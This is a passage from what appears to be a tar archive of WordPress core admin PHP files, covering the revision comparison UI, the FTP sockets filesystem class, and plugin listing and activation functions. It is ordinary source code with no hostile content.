fields of the revision object being iterated over in a foreach statement. * * @since 3.6.0 * * @param string $compare_from->$field The current revision field to compare to or from. * @param string $field The current revision field. * @param WP_Post $compare_from The revision post object to compare to or from. * @param string null The context of whether the current revision is the old or the new one. Values are 'to' or 'from'. */ $content_from = $compare_from ? apply_filters( "_wp_post_revision_field_$field", $compare_from->$field, $field, $compare_from, 'from' ) : ''; /** This filter is documented in wp-admin/includes/revision.php */ $content_to = apply_filters( "_wp_post_revision_field_$field", $compare_to->$field, $field, $compare_to, 'to' ); $diff = wp_text_diff( $content_from, $content_to, array( 'show_split_view' => true ) ); if ( ! $diff && 'post_title' === $field ) { // It's a better user experience to still show the Title, even if it didn't change. // No, you didn't see this. $diff = '<table class="diff"><colgroup><col class="content diffsplit left"><col class="content diffsplit middle"><col class="content diffsplit right"></colgroup><tbody><tr>'; $diff .= '<td>' . esc_html( $compare_from->post_title ) . '</td><td></td><td>' . esc_html( $compare_to->post_title ) . '</td>'; $diff .= '</tr></tbody>'; $diff .= '</table>'; } if ( $diff ) { $return[] = array( 'id' => $field, 'name' => $name, 'diff' => $diff, ); } } return $return; } /** * Prepare revisions for JavaScript. * * @since 3.6.0 * * @param object|int $post The post object. Also accepts a post ID. * @param int $selected_revision_id The selected revision ID. * @param int $from Optional. The revision ID to compare from. * * @return array An associative array of revision data and related settings. */ function wp_prepare_revisions_for_js( $post, $selected_revision_id, $from = null ) { $post = get_post( $post ); $revisions = $authors = array(); $now_gmt = time(); $revisions = wp_get_post_revisions( $post->ID, array( 'order' => 'ASC', 'check_enabled' => false ) ); // If revisions are disabled, we only want autosaves and the current post. if ( ! wp_revisions_enabled( $post ) ) { foreach ( $revisions as $revision_id => $revision ) { if ( ! wp_is_post_autosave( $revision ) ) unset( $revisions[ $revision_id ] ); } $revisions = array( $post->ID => $post ) + $revisions; } $show_avatars = get_option( 'show_avatars' ); cache_users( wp_list_pluck( $revisions, 'post_author' ) ); $can_restore = current_user_can( 'edit_post', $post->ID ); foreach ( $revisions as $revision ) { $modified = strtotime( $revision->post_modified ); $modified_gmt = strtotime( $revision->post_modified_gmt ); if ( $can_restore ) { $restore_link = str_replace( '&', '&', wp_nonce_url( add_query_arg( array( 'revision' => $revision->ID, 'action' => 'restore' ), admin_url( 'revision.php' ) ), "restore-post_{$revision->ID}" ) ); } if ( ! isset( $authors[ $revision->post_author ] ) ) { $authors[ $revision->post_author ] = array( 'id' => (int) $revision->post_author, 'avatar' => $show_avatars ? get_avatar( $revision->post_author, 32 ) : '', 'name' => get_the_author_meta( 'display_name', $revision->post_author ), ); } $autosave = (bool) wp_is_post_autosave( $revision ); $current = ! $autosave && $revision->post_modified_gmt === $post->post_modified_gmt; if ( $current && ! empty( $current_id ) ) { // If multiple revisions have the same post_modified_gmt, highest ID is current. if ( $current_id < $revision->ID ) { $revisions[ $current_id ]['current'] = false; $current_id = $revision->ID; } else { $current = false; } } elseif ( $current ) { $current_id = $revision->ID; } $revisions[ $revision->ID ] = array( 'id' => $revision->ID, 'title' => get_the_title( $post->ID ), 'author' => $authors[ $revision->post_author ], 'date' => date_i18n( __( 'M j, Y @ G:i' ), $modified ), 'dateShort' => date_i18n( _x( 'j M @ G:i', 'revision date short format' ), $modified ), 'timeAgo' => sprintf( __( '%s ago' ), human_time_diff( $modified_gmt, $now_gmt ) ), 'autosave' => $autosave, 'current' => $current, 'restoreUrl' => $can_restore ? $restore_link : false, ); } // If a post has been saved since the last revision (no revisioned fields were changed) // we may not have a "current" revision. Mark the latest revision as "current". if ( empty( $current_id ) ) { if ( $revisions[ $revision->ID ]['autosave'] ) { $revision = end( $revisions ); while ( $revision['autosave'] ) { $revision = prev( $revisions ); } $current_id = $revision['id']; } else { $current_id = $revision->ID; } $revisions[ $current_id ]['current'] = true; } // Now, grab the initial diff $compare_two_mode = is_numeric( $from ); if ( ! $compare_two_mode ) { $found = array_search( $selected_revision_id, array_keys( $revisions ) ); if ( $found ) { $from = array_keys( array_slice( $revisions, $found - 1, 1, true ) ); $from = reset( $from ); } else { $from = 0; } } $from = absint( $from ); $diffs = array( array( 'id' => $from . ':' . $selected_revision_id, 'fields' => wp_get_revision_ui_diff( $post->ID, $from, $selected_revision_id ), )); return array( 'postId' => $post->ID, 'nonce' => wp_create_nonce( 'revisions-ajax-nonce' ), 'revisionData' => array_values( $revisions ), 'to' => $selected_revision_id, 'from' => $from, 'diffData' => $diffs, 'baseUrl' => parse_url( admin_url( 'revision.php' ), PHP_URL_PATH ), 'compareTwoMode' => absint( $compare_two_mode ), // Apparently booleans are not allowed 'revisionIds' => array_keys( $revisions ), ); } class-wp-filesystem-ftpsockets.php000077700000017735151514577750013420 0ustar00<?php /** * WordPress FTP Sockets Filesystem. * * @package WordPress * @subpackage Filesystem */ /** * WordPress Filesystem Class for implementing FTP Sockets. * * @since 2.5.0 * @package WordPress * @subpackage Filesystem * @uses WP_Filesystem_Base Extends class */ class WP_Filesystem_ftpsockets extends WP_Filesystem_Base { var $ftp = false; var $errors = null; var $options = array(); function __construct($opt = '') { $this->method = 'ftpsockets'; $this->errors = new WP_Error(); // Check if possible to use ftp functions. if ( ! @include_once ABSPATH . 'wp-admin/includes/class-ftp.php' ) return false; $this->ftp = new ftp(); if ( empty($opt['port']) ) $this->options['port'] = 21; else $this->options['port'] = $opt['port']; if ( empty($opt['hostname']) ) $this->errors->add('empty_hostname', __('FTP hostname is required')); else $this->options['hostname'] = $opt['hostname']; if ( ! empty($opt['base']) ) $this->wp_base = $opt['base']; // Check if the options provided are OK. if ( empty ($opt['username']) ) $this->errors->add('empty_username', __('FTP username is required')); else $this->options['username'] = $opt['username']; if ( empty ($opt['password']) ) $this->errors->add('empty_password', __('FTP password is required')); else $this->options['password'] = $opt['password']; } function connect() { if ( ! $this->ftp ) return false; $this->ftp->setTimeout(FS_CONNECT_TIMEOUT); if ( ! $this->ftp->SetServer($this->options['hostname'], $this->options['port']) ) { $this->errors->add('connect', sprintf(__('Failed to connect to FTP Server %1$s:%2$s'), $this->options['hostname'], $this->options['port'])); return false; } if ( ! $this->ftp->connect() ) { $this->errors->add('connect', sprintf(__('Failed to connect to FTP Server %1$s:%2$s'), $this->options['hostname'], $this->options['port'])); return false; } if ( ! $this->ftp->login($this->options['username'], $this->options['password']) ) { $this->errors->add('auth', sprintf(__('Username/Password incorrect for %s'), $this->options['username'])); return false; } $this->ftp->SetType( FTP_BINARY ); $this->ftp->Passive( true ); $this->ftp->setTimeout( FS_TIMEOUT ); return true; } function get_contents( $file ) { if ( ! $this->exists($file) ) return false; $temp = wp_tempnam( $file ); if ( ! $temphandle = fopen($temp, 'w+') ) return false; mbstring_binary_safe_encoding(); if ( ! $this->ftp->fget($temphandle, $file) ) { fclose($temphandle); unlink($temp); reset_mbstring_encoding(); return ''; // Blank document, File does exist, It's just blank. } reset_mbstring_encoding(); fseek( $temphandle, 0 ); // Skip back to the start of the file being written to $contents = ''; while ( ! feof($temphandle) ) $contents .= fread($temphandle, 8192); fclose($temphandle); unlink($temp); return $contents; } function get_contents_array($file) { return explode("\n", $this->get_contents($file) ); } function put_contents($file, $contents, $mode = false ) { $temp = wp_tempnam( $file ); if ( ! $temphandle = @fopen($temp, 'w+') ) { unlink($temp); return false; } // The FTP class uses string functions internally during file download/upload mbstring_binary_safe_encoding(); $bytes_written = fwrite( $temphandle, $contents ); if ( false === $bytes_written || $bytes_written != strlen( $contents ) ) { fclose( $temphandle ); unlink( $temp ); reset_mbstring_encoding(); return false; } fseek( $temphandle, 0 ); // Skip back to the start of the file being written to $ret = $this->ftp->fput($file, $temphandle); reset_mbstring_encoding(); fclose($temphandle); unlink($temp); $this->chmod($file, $mode); return $ret; } function cwd() { $cwd = $this->ftp->pwd(); if ( $cwd ) $cwd = trailingslashit($cwd); return $cwd; } function chdir($file) { return $this->ftp->chdir($file); } function chgrp($file, $group, $recursive = false ) { return false; } function chmod($file, $mode = false, $recursive = false ) { if ( ! $mode ) { if ( $this->is_file($file) ) $mode = FS_CHMOD_FILE; elseif ( $this->is_dir($file) ) $mode = FS_CHMOD_DIR; else return false; } // chmod any sub-objects if recursive. if ( $recursive && $this->is_dir($file) ) { $filelist = $this->dirlist($file); foreach ( (array)$filelist as $filename => $filemeta ) $this->chmod($file . '/' . $filename, $mode, $recursive); } // chmod the file or directory return $this->ftp->chmod($file, $mode); } function owner($file) { $dir = $this->dirlist($file); return $dir[$file]['owner']; } function getchmod($file) { $dir = $this->dirlist($file); return $dir[$file]['permsn']; } function group($file) { $dir = $this->dirlist($file); return $dir[$file]['group']; } function copy($source, $destination, $overwrite = false, $mode = false) { if ( ! $overwrite && $this->exists($destination) ) return false; $content = $this->get_contents($source); if ( false === $content ) return false; return $this->put_contents($destination, $content, $mode); } function move($source, $destination, $overwrite = false ) { return $this->ftp->rename($source, $destination); } function delete($file, $recursive = false, $type = false) { if ( empty($file) ) return false; if ( 'f' == $type || $this->is_file($file) ) return $this->ftp->delete($file); if ( !$recursive ) return $this->ftp->rmdir($file); return $this->ftp->mdel($file); } function exists( $file ) { $list = $this->ftp->nlist( $file ); return !empty( $list ); //empty list = no file, so invert. // return $this->ftp->is_exists($file); has issues with ABOR+426 responses on the ncFTPd server } function is_file($file) { if ( $this->is_dir($file) ) return false; if ( $this->exists($file) ) return true; return false; } function is_dir($path) { $cwd = $this->cwd(); if ( $this->chdir($path) ) { $this->chdir($cwd); return true; } return false; } function is_readable($file) { return true; } function is_writable($file) { return true; } function atime($file) { return false; } function mtime($file) { return $this->ftp->mdtm($file); } function size($file) { return $this->ftp->filesize($file); } function touch($file, $time = 0, $atime = 0 ) { return false; } function mkdir($path, $chmod = false, $chown = false, $chgrp = false ) { $path = untrailingslashit($path); if ( empty($path) ) return false; if ( ! $this->ftp->mkdir($path) ) return false; if ( ! $chmod ) $chmod = FS_CHMOD_DIR; $this->chmod($path, $chmod); if ( $chown ) $this->chown($path, $chown); if ( $chgrp ) $this->chgrp($path, $chgrp); return true; } function rmdir($path, $recursive = false ) { $this->delete($path, $recursive); } function dirlist($path = '.', $include_hidden = true, $recursive = false ) { if ( $this->is_file($path) ) { $limit_file = basename($path); $path = dirname($path) . '/'; } else { $limit_file = false; } mbstring_binary_safe_encoding(); $list = $this->ftp->dirlist($path); if ( empty( $list ) && ! $this->exists( $path ) ) { reset_mbstring_encoding(); return false; } $ret = array(); foreach ( $list as $struc ) { if ( '.' == $struc['name'] || '..' == $struc['name'] ) continue; if ( ! $include_hidden && '.' == $struc['name'][0] ) continue; if ( $limit_file && $struc['name'] != $limit_file ) continue; if ( 'd' == $struc['type'] ) { if ( $recursive ) $struc['files'] = $this->dirlist($path . '/' . $struc['name'], $include_hidden, $recursive); else $struc['files'] = array(); } // Replace symlinks formatted as "source -> target" with just the source name if ( $struc['islink'] ) $struc['name'] = preg_replace( '/(\s*->\s*.*)$/', '', $struc['name'] ); $ret[ $struc['name'] ] = $struc; } reset_mbstring_encoding(); return $ret; } function __destruct() { $this->ftp->quit(); } } plugin.php000077700000200220151514577750006577 0ustar00<?php /** * WordPress Plugin Administration API * * @package WordPress * @subpackage Administration */ /** * Parse the plugin contents to retrieve plugin's metadata. * * The metadata of the plugin's data searches for the following in the plugin's * header. All plugin data must be on its own line. For plugin description, it * must not have any newlines or only parts of the description will be displayed * and the same goes for the plugin data. The below is formatted for printing. * * <code> * /* * Plugin Name: Name of Plugin * Plugin URI: Link to plugin information * Description: Plugin Description * Author: Plugin author's name * Author URI: Link to the author's web site * Version: Must be set in the plugin for WordPress 2.3+ * Text Domain: Optional. Unique identifier, should be same as the one used in * plugin_text_domain() * Domain Path: Optional. Only useful if the translations are located in a * folder above the plugin's base path. For example, if .mo files are * located in the locale folder then Domain Path will be "/locale/" and * must have the first slash. Defaults to the base folder the plugin is * located in. * Network: Optional. Specify "Network: true" to require that a plugin is activated * across all sites in an installation. This will prevent a plugin from being * activated on a single site when Multisite is enabled. * * / # Remove the space to close comment * </code> * * Plugin data returned array contains the following: * 'Name' - Name of the plugin, must be unique. * 'Title' - Title of the plugin and the link to the plugin's web site. * 'Description' - Description of what the plugin does and/or notes * from the author. * 'Author' - The author's name * 'AuthorURI' - The authors web site address. * 'Version' - The plugin version number. * 'PluginURI' - Plugin web site address. * 'TextDomain' - Plugin's text domain for localization. * 'DomainPath' - Plugin's relative directory path to .mo files. * 'Network' - Boolean. Whether the plugin can only be activated network wide. * * Some users have issues with opening large files and manipulating the contents * for want is usually the first 1kiB or 2kiB. This function stops pulling in * the plugin contents when it has all of the required plugin data. * * The first 8kiB of the file will be pulled in and if the plugin data is not * within that first 8kiB, then the plugin author should correct their plugin * and move the plugin data headers to the top. * * The plugin file is assumed to have permissions to allow for scripts to read * the file. This is not checked however and the file is only opened for * reading. * * @link http://trac.wordpress.org/ticket/5651 Previous Optimizations. * @link http://trac.wordpress.org/ticket/7372 Further and better Optimizations. * @since 1.5.0 * * @param string $plugin_file Path to the plugin file * @param bool $markup Optional. If the returned data should have HTML markup applied. Defaults to true. * @param bool $translate Optional. If the returned data should be translated. Defaults to true. * @return array See above for description. */ function get_plugin_data( $plugin_file, $markup = true, $translate = true ) { $default_headers = array( 'Name' => 'Plugin Name', 'PluginURI' => 'Plugin URI', 'Version' => 'Version', 'Description' => 'Description', 'Author' => 'Author', 'AuthorURI' => 'Author URI', 'TextDomain' => 'Text Domain', 'DomainPath' => 'Domain Path', 'Network' => 'Network', // Site Wide Only is deprecated in favor of Network. '_sitewide' => 'Site Wide Only', ); $plugin_data = get_file_data( $plugin_file, $default_headers, 'plugin' ); // Site Wide Only is the old header for Network if ( ! $plugin_data['Network'] && $plugin_data['_sitewide'] ) { _deprecated_argument( __FUNCTION__, '3.0', sprintf( __( 'The <code>%1$s</code> plugin header is deprecated. Use <code>%2$s</code> instead.' ), 'Site Wide Only: true', 'Network: true' ) ); $plugin_data['Network'] = $plugin_data['_sitewide']; } $plugin_data['Network'] = ( 'true' == strtolower( $plugin_data['Network'] ) ); unset( $plugin_data['_sitewide'] ); if ( $markup || $translate ) { $plugin_data = _get_plugin_data_markup_translate( $plugin_file, $plugin_data, $markup, $translate ); } else { $plugin_data['Title'] = $plugin_data['Name']; $plugin_data['AuthorName'] = $plugin_data['Author']; } return $plugin_data; } /** * Sanitizes plugin data, optionally adds markup, optionally translates. * * @since 2.7.0 * @access private * @see get_plugin_data() */ function _get_plugin_data_markup_translate( $plugin_file, $plugin_data, $markup = true, $translate = true ) { // Sanitize the plugin filename to a WP_PLUGIN_DIR relative path $plugin_file = plugin_basename( $plugin_file ); // Translate fields if ( $translate ) { if ( $textdomain = $plugin_data['TextDomain'] ) { if ( $plugin_data['DomainPath'] ) load_plugin_textdomain( $textdomain, false, dirname( $plugin_file ) . $plugin_data['DomainPath'] ); else load_plugin_textdomain( $textdomain, false, dirname( $plugin_file ) ); } elseif ( in_array( basename( $plugin_file ), array( 'hello.php', 'akismet.php' ) ) ) { $textdomain = 'default'; } if ( $textdomain ) { foreach ( array( 'Name', 'PluginURI', 'Description', 'Author', 'AuthorURI', 'Version' ) as $field ) $plugin_data[ $field ] = translate( $plugin_data[ $field ], $textdomain ); } } // Sanitize fields $allowed_tags = $allowed_tags_in_links = array( 'abbr' => array( 'title' => true ), 'acronym' => array( 'title' => true ), 'code' => true, 'em' => true, 'strong' => true, ); $allowed_tags['a'] = array( 'href' => true, 'title' => true ); // Name is marked up inside <a> tags. Don't allow these. // Author is too, but some plugins have used <a> here (omitting Author URI). $plugin_data['Name'] = wp_kses( $plugin_data['Name'], $allowed_tags_in_links ); $plugin_data['Author'] = wp_kses( $plugin_data['Author'], $allowed_tags ); $plugin_data['Description'] = wp_kses( $plugin_data['Description'], $allowed_tags ); $plugin_data['Version'] = wp_kses( $plugin_data['Version'], $allowed_tags ); $plugin_data['PluginURI'] = esc_url( $plugin_data['PluginURI'] ); $plugin_data['AuthorURI'] = esc_url( $plugin_data['AuthorURI'] ); $plugin_data['Title'] = $plugin_data['Name']; $plugin_data['AuthorName'] = $plugin_data['Author']; // Apply markup if ( $markup ) { if ( $plugin_data['PluginURI'] && $plugin_data['Name'] ) $plugin_data['Title'] = '<a href="' . $plugin_data['PluginURI'] . '" title="' . esc_attr__( 'Visit plugin homepage' ) . '">' . $plugin_data['Name'] . '</a>'; if ( $plugin_data['AuthorURI'] && $plugin_data['Author'] ) $plugin_data['Author'] = '<a href="' . $plugin_data['AuthorURI'] . '" title="' . esc_attr__( 'Visit author homepage' ) . '">' . $plugin_data['Author'] . '</a>'; $plugin_data['Description'] = wptexturize( $plugin_data['Description'] ); if ( $plugin_data['Author'] ) $plugin_data['Description'] .= ' <cite>' . sprintf( __('By %s.'), $plugin_data['Author'] ) . '</cite>'; } return $plugin_data; } /** * Get a list of a plugin's files. * * @since 2.8.0 * * @param string $plugin Plugin ID * @return array List of files relative to the plugin root. */ function get_plugin_files($plugin) { $plugin_file = WP_PLUGIN_DIR . '/' . $plugin; $dir = dirname($plugin_file); $plugin_files = array($plugin); if ( is_dir($dir) && $dir != WP_PLUGIN_DIR ) { $plugins_dir = @ opendir( $dir ); if ( $plugins_dir ) { while (($file = readdir( $plugins_dir ) ) !== false ) { if ( substr($file, 0, 1) == '.' ) continue; if ( is_dir( $dir . '/' . $file ) ) { $plugins_subdir = @ opendir( $dir . '/' . $file ); if ( $plugins_subdir ) { while (($subfile = readdir( $plugins_subdir ) ) !== false ) { if ( substr($subfile, 0, 1) == '.' ) continue; $plugin_files[] = plugin_basename("$dir/$file/$subfile"); } @closedir( $plugins_subdir ); } } else { if ( plugin_basename("$dir/$file") != $plugin ) $plugin_files[] = plugin_basename("$dir/$file"); } } @closedir( $plugins_dir ); } } return $plugin_files; } /** * Check the plugins directory and retrieve all plugin files with plugin data. * * WordPress only supports plugin files in the base plugins directory * (wp-content/plugins) and in one directory above the plugins directory * (wp-content/plugins/my-plugin). The file it looks for has the plugin data and * must be found in those two locations. It is recommended that do keep your * plugin files in directories. * * The file with the plugin data is the file that will be included and therefore * needs to have the main execution for the plugin. This does not mean * everything must be contained in the file and it is recommended that the file * be split for maintainability. Keep everything in one file for extreme * optimization purposes. * * @since 1.5.0 * * @param string $plugin_folder Optional. Relative path to single plugin folder. * @return array Key is the plugin file path and the value is an array of the plugin data. */ function get_plugins($plugin_folder = '') { if ( ! $cache_plugins = wp_cache_get('plugins', 'plugins') ) $cache_plugins = array(); if ( isset($cache_plugins[ $plugin_folder ]) ) return $cache_plugins[ $plugin_folder ]; $wp_plugins = array (); $plugin_root = WP_PLUGIN_DIR; if ( !empty($plugin_folder) ) $plugin_root .= $plugin_folder; // Files in wp-content/plugins directory $plugins_dir = @ opendir( $plugin_root); $plugin_files = array(); if ( $plugins_dir ) { while (($file = readdir( $plugins_dir ) ) !== false ) { if ( substr($file, 0, 1) == '.' ) continue; if ( is_dir( $plugin_root.'/'.$file ) ) { $plugins_subdir = @ opendir( $plugin_root.'/'.$file ); if ( $plugins_subdir ) { while (($subfile = readdir( $plugins_subdir ) ) !== false ) { if ( substr($subfile, 0, 1) == '.' ) continue; if ( substr($subfile, -4) == '.php' ) $plugin_files[] = "$file/$subfile"; } closedir( $plugins_subdir ); } } else { if ( substr($file, -4) == '.php' ) $plugin_files[] = $file; } } closedir( $plugins_dir ); } if ( empty($plugin_files) ) return $wp_plugins; foreach ( $plugin_files as $plugin_file ) { if ( !is_readable( "$plugin_root/$plugin_file" ) ) continue; $plugin_data = get_plugin_data( "$plugin_root/$plugin_file", false, false ); //Do not apply markup/translate as it'll be cached. if ( empty ( $plugin_data['Name'] ) ) continue; $wp_plugins[plugin_basename( $plugin_file )] = $plugin_data; } uasort( $wp_plugins, '_sort_uname_callback' ); $cache_plugins[ $plugin_folder ] = $wp_plugins; wp_cache_set('plugins', $cache_plugins, 'plugins'); return $wp_plugins; } /** * Check the mu-plugins directory and retrieve all mu-plugin files with any plugin data. * * WordPress only includes mu-plugin files in the base mu-plugins directory (wp-content/mu-plugins). * * @since 3.0.0 * @return array Key is the mu-plugin file path and the value is an array of the mu-plugin data. */ function get_mu_plugins() { $wp_plugins = array(); // Files in wp-content/mu-plugins directory $plugin_files = array(); if ( ! is_dir( WPMU_PLUGIN_DIR ) ) return $wp_plugins; if ( $plugins_dir = @ opendir( WPMU_PLUGIN_DIR ) ) { while ( ( $file = readdir( $plugins_dir ) ) !== false ) { if ( substr( $file, -4 ) == '.php' ) $plugin_files[] = $file; } } else { return $wp_plugins; } @closedir( $plugins_dir ); if ( empty($plugin_files) ) return $wp_plugins; foreach ( $plugin_files as $plugin_file ) { if ( !is_readable( WPMU_PLUGIN_DIR . "/$plugin_file" ) ) continue; $plugin_data = get_plugin_data( WPMU_PLUGIN_DIR . "/$plugin_file", false, false ); //Do not apply markup/translate as it'll be cached. if ( empty ( $plugin_data['Name'] ) ) $plugin_data['Name'] = $plugin_file; $wp_plugins[ $plugin_file ] = $plugin_data; } if ( isset( $wp_plugins['index.php'] ) && filesize( WPMU_PLUGIN_DIR . '/index.php') <= 30 ) // silence is golden unset( $wp_plugins['index.php'] ); uasort( $wp_plugins, '_sort_uname_callback' ); return $wp_plugins; } /** * Callback to sort array by a 'Name' key. * * @since 3.1.0 * @access private */ function _sort_uname_callback( $a, $b ) { return strnatcasecmp( $a['Name'], $b['Name'] ); } /** * Check the wp-content directory and retrieve all drop-ins with any plugin data. * * @since 3.0.0 * @return array Key is the file path and the value is an array of the plugin data. */ function get_dropins() { $dropins = array(); $plugin_files = array(); $_dropins = _get_dropins(); // These exist in the wp-content directory if ( $plugins_dir = @ opendir( WP_CONTENT_DIR ) ) { while ( ( $file = readdir( $plugins_dir ) ) !== false ) { if ( isset( $_dropins[ $file ] ) ) $plugin_files[] = $file; } } else { return $dropins; } @closedir( $plugins_dir ); if ( empty($plugin_files) ) return $dropins; foreach ( $plugin_files as $plugin_file ) { if ( !is_readable( WP_CONTENT_DIR . "/$plugin_file" ) ) continue; $plugin_data = get_plugin_data( WP_CONTENT_DIR . "/$plugin_file", false, false ); //Do not apply markup/translate as it'll be cached. if ( empty( $plugin_data['Name'] ) ) $plugin_data['Name'] = $plugin_file; $dropins[ $plugin_file ] = $plugin_data; } uksort( $dropins, 'strnatcasecmp' ); return $dropins; } /** * Returns drop-ins that WordPress uses. * * Includes Multisite drop-ins only when is_multisite() * * @since 3.0.0 * @return array Key is file name. The value is an array, with the first value the * purpose of the drop-in and the second value the name of the constant that must be * true for the drop-in to be used, or true if no constant is required. */ function _get_dropins() { $dropins = array( 'advanced-cache.php' => array( __( 'Advanced caching plugin.' ), 'WP_CACHE' ), // WP_CACHE 'db.php' => array( __( 'Custom database class.' ), true ), // auto on load 'db-error.php' => array( __( 'Custom database error message.' ), true ), // auto on error 'install.php' => array( __( 'Custom install script.' ), true ), // auto on install 'maintenance.php' => array( __( 'Custom maintenance message.' ), true ), // auto on maintenance 'object-cache.php' => array( __( 'External object cache.' ), true ), // auto on load ); if ( is_multisite() ) { $dropins['sunrise.php' ] = array( __( 'Executed before Multisite is loaded.' ), 'SUNRISE' ); // SUNRISE $dropins['blog-deleted.php' ] = array( __( 'Custom site deleted message.' ), true ); // auto on deleted blog $dropins['blog-inactive.php' ] = array( __( 'Custom site inactive message.' ), true ); // auto on inactive blog $dropins['blog-suspended.php'] = array( __( 'Custom site suspended message.' ), true ); // auto on archived or spammed blog } return $dropins; } /** * Check whether the plugin is active by checking the active_plugins list. * * @since 2.5.0 * * @param string $plugin Base plugin path from plugins directory. * @return bool True, if in the active plugins list. False, not in the list. */ function is_plugin_active( $plugin ) { return in_array( $plugin, (array) get_option( 'active_plugins', array() ) ) || is_plugin_active_for_network( $plugin ); } /** * Check whether the plugin is inactive. * * Reverse of is_plugin_active(). Used as a callback. * * @since 3.1.0 * @see is_plugin_active() * * @param string $plugin Base plugin path from plugins directory. * @return bool True if inactive. False if active. */ function is_plugin_inactive( $plugin ) { return ! is_plugin_active( $plugin ); } /** * Check whether the plugin is active for the entire network. * * @since 3.0.0 * * @param string $plugin Base plugin path from plugins directory. * @return bool True, if active for the network, otherwise false. */ function is_plugin_active_for_network( $plugin ) { if ( !is_multisite() ) return false; $plugins = get_site_option( 'active_sitewide_plugins'); if ( isset($plugins[$plugin]) ) return true; return false; } /** * Checks for "Network: true" in the plugin header to see if this should * be activated only as a network wide plugin. The plugin would also work * when Multisite is not enabled. * * Checks for "Site Wide Only: true" for backwards compatibility. * * @since 3.0.0 * * @param string $plugin Plugin to check * @return bool True if plugin is network only, false otherwise. */ function is_network_only_plugin( $plugin ) { $plugin_data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin ); if ( $plugin_data ) return $plugin_data['Network']; return false; } /** * Attempts activation of plugin in a "sandbox" and redirects on success. * * A plugin that is already activated will not attempt to be activated again. * * The way it works is by setting the redirection to the error before trying to * include the plugin file. If the plugin fails, then the redirection will not * be overwritten with the success message. Also, the options will not be * updated and the activation hook will not be called on plugin error. * * It should be noted that in no way the below code will actually prevent errors * within the file. The code should not be used elsewhere to replicate the * "sandbox", which uses redirection to work. * {@source 13 1} * * If any errors are found or text is outputted, then it will be captured to * ensure that the success redirection will update the error redirection. * * @since 2.5.0 * * @param string $plugin Plugin path to main plugin file with plugin data. * @param string $redirect Optional. URL to redirect to. * @param bool $network_wide Whether to enable the plugin for all sites in the * network or just the current site. Multisite only. Default is false. * @param bool $silent Prevent calling activation hooks. Optional, default is false. * @return WP_Error|null WP_Error on invalid file or null on success. */ function activate_plugin( $plugin, $redirect = '', $network_wide = false, $silent = false ) { $plugin = plugin_basename( trim( $plugin ) ); if ( is_multisite() && ( $network_wide || is_network_only_plugin($plugin) ) ) { $network_wide = true; $current = get_site_option( 'active_sitewide_plugins', array() ); $_GET['networkwide'] = 1; // Back compat for plugins looking for this value. } else { $current = get_option( 'active_plugins', array() ); } $valid = validate_plugin($plugin); if ( is_wp_error($valid) ) return $valid; if ( !in_array($plugin, $current) ) { if ( !empty($redirect) ) wp_redirect(add_query_arg('_error_nonce', wp_create_nonce('plugin-activation-error_' . $plugin), $redirect)); // we'll override this later if the plugin can be included without fatal error ob_start(); wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $plugin ); include_once( WP_PLUGIN_DIR . '/' . $plugin ); if ( ! $silent ) { /** * Fires before a plugin is activated. * * If a plugin is silently activated (such as during an update), * this hook does not fire. * * @since 2.9.0 * * @param string $plugin Plugin path to main plugin file with plugin data. * @param bool $network_wide Whether to enable the plugin for all sites in the network * or just the current site. Multisite only. Default is false. */ do_action( 'activate_plugin', $plugin, $network_wide ); /** * Fires as a specific plugin is being deactivated. * * This hook is the "deactivation" hook used internally by * register_deactivation_hook(). The dynamic portion of the * hook name, $plugin. refers to the plugin basename. * * If a plugin is silently activated (such as during an update), * this hook does not fire. * * @since 2.0.0 * * @param bool $network_wide Whether to enable the plugin for all sites in the network * or just the current site. Multisite only. Default is false. */ do_action( 'activate_' . $plugin, $network_wide ); } if ( $network_wide ) { $current[$plugin] = time(); update_site_option( 'active_sitewide_plugins', $current ); } else { $current[] = $plugin; sort($current); update_option('active_plugins', $current); } if ( ! $silent ) { /** * Fires after a plugin has been activated. * * If a plugin is silently activated (such as during an update), * this hook does not fire. * * @since 2.9.0 * * @param string $plugin Plugin path to main plugin file with plugin data. * @param bool $network_wide Whether to enable the plugin for all sites in the network * or just the current site. Multisite only. Default is false. */ do_action( 'activated_plugin', $plugin, $network_wide ); } if ( ob_get_length() > 0 ) { $output = ob_get_clean(); return new WP_Error('unexpected_output', __('The plugin generated unexpected output.'), $output); } ob_end_clean(); } return null; } /** * Deactivate a single plugin or multiple plugins. * * The deactivation hook is disabled by the plugin upgrader by using the $silent * parameter. * * @since 2.5.0 * * @param string|array $plugins Single plugin or list of plugins to deactivate. * @param bool $silent Prevent calling deactivation hooks. Default is false. * @param mixed $network_wide Whether to deactivate the plugin for all sites in the network. * A value of null (the default) will deactivate plugins for both the site and the network. */ function deactivate_plugins( $plugins, $silent = false, $network_wide = null ) { if ( is_multisite() ) $network_current = get_site_option( 'active_sitewide_plugins', array() ); $current = get_option( 'active_plugins', array() ); $do_blog = $do_network = false; foreach ( (array) $plugins as $plugin ) { $plugin = plugin_basename( trim( $plugin ) ); if ( ! is_plugin_active($plugin) ) continue; $network_deactivating = false !== $network_wide && is_plugin_active_for_network( $plugin ); if ( ! $silent ) { /** * Fires before a plugin is deactivated. * * If a plugin is silently deactivated (such as during an update), * this hook does not fire. * * @since 2.9.0 * * @param string $plugin Plugin path to main plugin file with plugin data. * @param bool $network_deactivating Whether the plugin is deactivated for all sites in the network * or just the current site. Multisite only. Default is false. */ do_action( 'deactivate_plugin', $plugin, $network_deactivating ); } if ( false !== $network_wide ) { if ( is_plugin_active_for_network( $plugin ) ) { $do_network = true; unset( $network_current[ $plugin ] ); } elseif ( $network_wide ) { continue; } } if ( true !== $network_wide ) { $key = array_search( $plugin, $current ); if ( false !== $key ) { $do_blog = true; unset( $current[ $key ] ); } } if ( ! $silent ) { /** * Fires as a specific plugin is being deactivated. * * This hook is the "deactivation" hook used internally by * register_deactivation_hook(). The dynamic portion of the * hook name, $plugin. refers to the plugin basename. * * If a plugin is silently deactivated (such as during an update), * this hook does not fire. * * @since 2.0.0 * * @param bool $network_deactivating Whether the plugin is deactivated for all sites in the network * or just the current site. Multisite only. Default is false. */ do_action( 'deactivate_' . $plugin, $network_deactivating ); /** * Fires after a plugin is deactivated. * * If a plugin is silently deactivated (such as during an update), * this hook does not fire. * * @since 2.9.0 * * @param string $plugin Plugin basename. * @param bool $network_deactivating Whether the plugin is deactivated for all sites in the network * or just the current site. Multisite only. Default false. */ do_action( 'deactivated_plugin', $plugin, $network_deactivating ); } } if ( $do_blog ) update_option('active_plugins', $current); if ( $do_network ) update_site_option( 